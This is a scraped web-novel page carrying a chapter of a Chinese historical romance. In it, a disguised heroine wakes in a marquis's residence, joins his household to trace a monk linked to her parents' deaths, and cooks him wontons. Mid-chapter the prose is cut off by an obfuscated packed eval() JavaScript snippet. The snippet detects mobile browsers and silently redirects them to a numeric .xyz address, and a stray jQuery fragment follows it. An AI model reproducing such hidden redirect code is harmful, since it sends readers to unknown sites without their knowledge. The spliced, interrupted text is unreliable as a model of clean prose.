默认冷灰
24号文字
方正启体

15. 入府

作者:铆淦本书字数:K更新时间:
    顾初禾昏迷了三日,这三日里她一直都在做噩梦,梦到了父母被杀的场景,哭得肝肠寸断…


    渐渐苏醒后,她只觉得脑袋昏沉,眼皮似有千斤重。


    缓缓睁开眼睛,映入眼帘的是一顶华丽的锦帐,绣着繁复精美的花纹,金线在微光下闪烁。


    她惊惶地坐起身,环顾四周,只见墙壁上挂着名贵的书画,案几上摆放着珍奇异宝,床榻是用上等檀木制成,散发着淡雅的香气,锦被轻柔,触手生温。


    “这是哪儿,我怎么会在这儿?”,顾初禾喃喃自语,声音中带着几分颤抖。


    她只记得自己在山林中受困,被那个骗子摊贩捶打到头昏眼花,即将晕厥过去的时候,似乎听见有一阵急促迅捷的马蹄声朝自己靠近,之后她便失去了意识。


    她双腿发软,刚准备下床看看这屋里有什么蛛丝马迹,或许能看出这是谁的府邸。


    可就在她的双脚刚落地时,房门“吱呀”一声被推开。


    她赶紧躺回原位装睡。


    只听两个年轻姑娘小声嘀咕着什么…


    “这都昏睡三日了,怎么还不醒?”


    “或许是伤得太重了,侯爷将他带回府的那日,他口中都是鲜血,瞧着都快咽气了,要不是净尘师傅曾留下三颗救命药丸,只怕他这会儿都去见阎王爷了。”


    “那你说,侯爷为何要救他呀,这小子瞧着也不像什么尊客贵胄,竟值得用那么价值连城的药丸给他治病吗?”


    “咱们老夫人一心向佛,大约侯爷是为了给老夫人积福吧,不是说救人一命胜造七级浮屠吗?”


    “有道理…”


    “行了,喂完药咱就出去吧。”


    两位侍女将她的头轻轻抬起,小心翼翼的将汤药喂入口中,又用毛巾给她擦拭嘴角,然后才端着喝尽了的药碗退了出去。


    直到房门再次关上,顾初禾才缓缓睁开眼。


    “她们方才说我吃的药是净尘师傅留下的,净尘…净尘…为何这么耳熟?”


    顾初禾扶着头坐了起来,拼命去回忆这个法号是谁,终于…她的脑海中闪过一个画面。


    四年前,天福寺,那个带着顾氏夫妇去见住持的僧人,正是净尘!


    “是他!?”


    时隔四年,她总算再次闻得了一丝有关当年巫蛊之事的蛛丝马迹,若她能见到那个净尘,或许就可以从他口中套出当年设下巫蛊案的幕后之人是谁。


    只可惜,自那事之后,净尘就离开了天福寺,云游四方,没几个人知道他的下落。


    她这么久以来,从未忘记过与父母分别的那一晚是何等悲痛,之后从路人的口中得知父母惨死于剧毒侵脉,凶手是谁却无人知晓。


    至今就连恨,她都不知道该恨谁。


    她掀被下床,扶着墙壁走到窗边,几缕碎发垂落在白皙的颈边,更衬得她面容憔悴。


    她倚在雕花窗前,眼神空洞而又迷茫,望向窗外那片陌生却又精致的庭院。


    庭院中,假山错落有致,一湾清池边枝叶嫩芽在微风中轻轻摇曳。


    曲折的回廊下悬挂着几盏灯笼,昏黄的灯光在风中摇晃,好似随时都会熄灭。


    顾初禾的目光被其中一盏灯笼上的“陆”字牢牢吸引,那简单的一笔一划,此刻却像是一道无解的谜题。


    她的脑海中思绪万千,正出神间,一阵脚步声由远及近,她下意识地后退了两步,心脏也开始砰砰狂跳。她深吸一口气,准备迎接即将到来的未知。


    片刻后,一个挺拔的身影逆光而立,熟悉的眉眼让顾初禾的心陡然一震。


    她一眼就认了出来,他鼻尖上的痣太过特别,哪怕是匆匆一面,也很难忘记。


    来者正是陆砚舟,他身着紫色长袍,腰间玉佩温润,神色却透着疏离与疑惑。


    他打量着顾初禾,目光中却没有半分喜色,仿佛眼前的她,只是个素未谋面的陌生人。


    侯府,这里是景义候府,陆祳的府宅。


    陆祳,竟然真的就是陆砚舟。


    “你醒了?”,陆砚舟的双手背在身后,踱步到她面前,“你叫什么名字,家住哪里?”


    顾初禾被他的气势吓到了,四年前那个温润有礼的少年,如今竟已是权倾朝野的景义候。


    而她历经坎坷,容貌也与当年有所不同。


    当年她以面巾遮脸,只有一双眼眸曾与他对视良久,如今现在穿着一身男装,举手投足都是男子模样,他没认出自己,也属当然。


    “回侯爷的话,小人乃是京郊郁氏,名…初禾。”,她说起自己名字时顿了顿。


    这名字是她爹娘取的,虽如今不姓顾了,可万一陆砚舟知道巫蛊案的顾氏夫妇有一双女儿,长女名叫顾初禾,幼女顾长意,那她可就暴露了身份。


    但好在,此时已过去四年,就连皇位都换了人,两个手无缚鸡之力的女子,构不成什么威胁,新帝似乎也没有派人追查她们的下落。


    所以知道她们身份的人并没有多少,就连当年顾府的仆人,也都以为已经她们姐妹早就客死异乡了。


    陆砚舟闻听她的姓名,也没什么特别的反应,只是看了她一眼,便要转身离开,临走时说道:“你走失三日,想必家中亲眷担忧不已,既醒了,本侯便派人送你回去。”


    “侯爷!”,见他要走,顾初禾突然叫住了他,她不假思索地就跪了下去,语气急切。


    “小人蒙侯爷大恩,不得不报,若侯爷不弃,小人愿做个侍从,跟在您身边尽心侍奉。”


    前不久,她还跟郁春琅说过,要是有朝一日碰见陆祳,她一定得躲着走。可如今得知净尘与他的关系匪浅,这侯府她是铁了心要留下了。


    “你…”,陆砚舟回眸,见她面色憔悴却目光坚定。


    他迟疑了一下,很快又道:“也罢,正好本侯身边缺个长随小厮,瞧着你也是读过书的,又知恩图报,往后就留在侯府吧。”


    “多谢侯爷!小人算账泡茶都会,侯爷可随时差遣…”,


    她必须想办法留在侯府,才有机会打探到僧人净尘的下落。


    顾初禾生怕他觉得她无用,恨不能将自己所会的技艺全都说出来。


    可陆砚舟并未即刻安排她做事,只留下一句“不急,先养伤,再当差”,便转身离开了。


    次日


    顾初禾写了封信托人带给郁春琅,告知她自己现在何处,有要事待处理,等到弄清楚心中疑虑,便会回家。


    又书信一封交给典当行的掌柜,称自己身患顽疾,便辞了账房之职。


    郁春琅看了信,已经将她的心思猜了个七八分,只是担心她跟在陆祳身边会受委屈,更怕她身份暴露小命不保。


    侯府东院,书房


    陆砚舟如今不仅是景义候,更是负责镇压叛乱,抵御外敌的将军。


    他虽回了京城,可边城防卫的部署,武器装备和粮草的供应补足,都需他来拿主意,因此他已连续两日待在书房处理公务,不见客也不出门了。


    他专注地审阅着手中堆积如山的公文,不时提笔在上面圈圈点点。


    这时,书房的门被轻轻推开,身姿轻盈的侍女云翠端着一盏热气腾腾的茶盏,款步而入。


    她莲步轻移,走到书桌旁,轻声说道:“侯爷,您喝口茶,提提神。”


    陆砚舟微微抬眸,目光从公文上移开,接过茶盏,浅抿一口,茶香瞬间在齿间散开,疲惫之感也似乎减轻了几分。


    “前几日我带回来的那个人伤势如何了?”


    云翠答道:“大夫今日又来把了脉,说是已无大碍。”


    陆砚舟点了点头,摆手示意她退下,又伏首看公文。


    直到暮色渐浓,将整座庭院笼罩在一片


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556912|171315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    静谧的幽暗中,他才从书房的雕花木门缓缓步出。


    他揉了揉酸涩的脖颈,抬眸望向天边那最后一抹余晖,不觉间,已在书案前埋首了整整一日。


    腹中传来的阵阵饥饿感,驱使他朝着厨房的方向走去。


    灶台上,一盏豆灯摇曳着昏黄的光,将他的身影拉得修长。


    他在橱柜间翻找,所幸还留有几碟小菜,却已没了热气,难解一时之饥。


    半个时辰前,云翠问过他是否要用晚饭,他说不饿,让厨娘不必给他备餐。


    而这时已过了饭点,厨娘也回房中歇息了,总不好突然把人叫起来炒几个热菜。


    恰在此时,一阵细碎的脚步声由远及近,厨房门口,一个纤细的身影出现。


    顾初禾这两日已觉好多了,便常常下床走动,自己将喝完的药碗送回厨房,却不想陆砚舟也在这里。


    她推门而入,看见陆砚舟正对着几碟小菜发愣…


    “侯爷?您是不是饿了?”


    陆砚舟的脸上闪过一丝不自然,尴尬地咳了两声,“我…我就是随便看看。”


    顾初禾抿嘴轻笑,也不拆穿他,径直走到灶台前,“要不,我给您包馄饨吃吧,很快就好。”


    “你还会包馄饨?”


    “是,我母亲唯一拿手的小食就是馄饨,她曾教过我的。”,顾初禾与他对话的同时,手中已忙碌了起来。


    她现在要尽可能的多和陆砚舟接触,拉近两人的关系,最好是能获得他的信任,才能为以后探听消息打下基础。


    陆砚舟也没离开厨房,而是找了个凳子坐下,看着她擀皮,剁馅,沸水下锅,动作瞧着倒是行云流水,就是不知道味道怎么样。


    不一会儿,热气腾腾的馄饨端上了桌。


    陆砚舟闻了闻味儿,还挺香的,他手心朝下一摆,对顾初禾道:“你也坐吧。”


    顾初禾倒也没跟他客气,拉开板凳坐在方桌右侧。


    他舀起一个馄饨放入口中,慢嚼了几下…


    “怎么样,好吃吗?”,顾初禾满怀期待地看着他,眼中闪烁着紧张与渴望得到认可的光芒,双手不自觉地揪着衣角。


    陆砚舟目光从馄饨上移到她脸上,微微颔首,神色平静,让人捉摸不透。


    咽下之后,缓缓吐出两个字:“尚可。”


    顾初禾的笑容瞬间僵在脸上,尴尬地扯了扯嘴角,眼神里闪过一丝失落。


    她低下头,掩饰着内心的情绪。


    腹诽道:“也是,他这样的权贵什么山珍海味没吃过,一碗馄饨算什么…”


    虽说他的评价如此平淡,可她寄人篱下,也没那个胆量敢掀了桌子,只能忍了。


    陆砚舟嘴上说着尚可,馄饨却一个接一个的下肚,吃了个半饱的时候,突然问道:“你母亲,现在何处?”


    这话一出,原本在开小差的顾初禾,长睫微微颤动。


    她极力掩盖眼中转瞬即逝的哀伤。短暂的沉默后,努力让自己的声音听起来平静如常:“过世了。”


    陆砚舟的表情没有变化,捧起汤碗将最后一口喝了个干净。


    看着空碗,顾初禾抿了抿嘴,憋笑调侃道:“侯爷,不是说不好吃吗,这不都吃完了?”


    “本侯说的是,尚可。”


    顾初禾在内心翻了个白眼,暗骂他死鸭子嘴硬。


    “是,那小人努力精进手艺,争取下次能得到您的称赞。”


    说罢,顾初禾站起身收碗,准备去井边清洗干净。


    陆砚舟见状拉住了她,“放着吧,明日厨娘会来收拾的。水凉,你大病初愈就别碰冷水了。”


    这话,这场景…


    顾初禾恍惚间回到了在天福寺初遇他的那天,他也说过类似的话。


    只是,她如今有罪名在身,即使曾有过一昔的缘分,也无法相认。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)